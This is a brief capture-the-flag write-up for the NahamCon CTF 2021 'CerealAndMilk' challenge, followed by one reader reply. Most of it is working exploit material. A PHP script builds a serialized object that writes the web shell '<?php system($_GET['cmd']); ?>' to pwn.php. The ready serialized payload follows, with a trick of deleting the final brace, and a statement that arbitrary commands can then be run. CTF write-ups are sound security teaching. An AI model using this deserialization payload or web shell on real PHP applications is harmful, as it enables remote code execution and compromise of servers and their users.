NahamCon CTF 2021 - CerealAndMilk

CerealAndMilk.md

Script to create serialized string:

<?php
include 'log.php';

$o = new log;
$o->logs = './pwn.php';
$o->request = '<?php system($_GET[\'cmd\']); ?>';

$s = serialize($o);
echo $s;

?>

Now copy this into the textfield, and delete the last }:

O:3:"log":2:{s:4:"logs";s:9:"./pwn.php";s:7:"request";s:30:"<?php system($_GET['cmd']); ?>";}

Now you can run any command from /pwn.php?cmd=..

@kingrootdm Did you delete the last }? I just tried it again and it's working.